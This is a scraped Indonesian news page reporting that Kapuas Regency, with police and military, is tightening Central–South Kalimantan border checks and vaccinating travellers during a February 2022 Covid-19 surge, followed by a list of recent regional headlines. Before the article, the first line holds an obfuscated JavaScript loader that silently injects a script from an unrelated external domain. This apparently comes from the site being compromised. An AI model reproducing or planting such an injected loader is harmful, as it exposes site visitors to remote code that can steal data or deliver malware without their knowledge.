(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Antisipasi Lonjakan Covid-19, Kapuas Perketat Perbatasan Kalteng-Kalsel


KANALKALIMANTAN. COM, KUALA KAPUAS – Bupati Kapuas Ir Ben Brahim S Bahat bersama Forkompimda menyatakan siap berjuang melawan pandemi Covid-19 di Kabupaten Kapuas.

Menindaklanjuti arahan dari Presiden RI Joko Widodo dan arahan Gubernur Kalimantan Tengah H Sugianto Sabran.
Hal tersebut dinyatakan Bupati Kapuas saat mengikuti rapat koordinasi perkembangan kasus Covid-19 dan upaya penanganan dan pencegahan yang digelar Gubernur Kalteng sebelum mendengarkan arahan dari Presiden RI Joko Widodo via zoom meeting, Selasa (8/2/2022).

Ben Brahim S Bahat melaporkan, Pemerintah Kabupaten Kapuas bersama TNI/Polri sudah melakukan upaya perketat perbatasan Provinsi Kalteng dan Provinsi Kalsel, dengan membentuk pos penjagaan di UPT Jembatan Timbang, Anjir Serapat, Kecamatan Kapuas Timur, sejak 6 Februari 2022.

“Di sana dilakukan pemeriksaan sertifikat vaksin, apabila belum vaksin, maka disediakan untuk vaksinasi di tempat,” ucap Ben Brahim.

 

Baca juga : Tiga Meninggal Dunia di Banjarbaru, Disebut Komorbid dan Belum Divaksin

Sesuai arahan Presiden, Pemerintah Kabupaten Kapuas akan terus mendorong percepatan vaksinasi dan mengedukasi masyarakat untuk melakukan protokol Kesehatan.

“Kami bersama-sama Kapolres, Dandim dan juga jajaran Pemkab berjuang bagaimana pandemi Covid-19 ini cepat berlalu dari Kalimantan Tengah,” tegas Ben Brahim.

Presiden RI dalam arahannya mengatakan, dua hal yang perlu mendapatkan perhatian khusus dari para kepada daerah bersama jajaran Forkopimda.

“Vaksinasi untuk Lansia dipercepat karena kunci penanganan Omicron ini ada dua; vaksinasi dipercepat, kemudian meningkatkan kembali protokol kesehatan utamanya masker harus digalakkan lagi,” terangnya.

 

Baca juga : HUT ke-2 JMSI, Hadir Menjaga Marwah Pers di Tanah Air

Dirinya menandaskan untuk menjaga agar kapasitas rumah sakit tidak penuh dalam lonjakan kasus, pasien yang ringan dan tanpa gejala, lebih prioritas masuk ke isolasi terpadu atau isolasi mandiri. Sementara untuk rumsah sakit hanya diperuntukan bagi yang bergejala sedang, berat, dan kritis. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

4 menit ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

14 menit ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

2 jam ago

Pj Bupati Kapuas Lepas Peserta Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More

3 jam ago

Baliho Curhat Korban Investasi Bodong di Banjarmasin Diturunkan

KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More

3 jam ago

Lomba Mancing Ikan di Sungai Kemuning Meriahkan HUT ke-17 Kecamatan Banjarbaru Selatan

KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More

7 jam ago

This website uses cookies.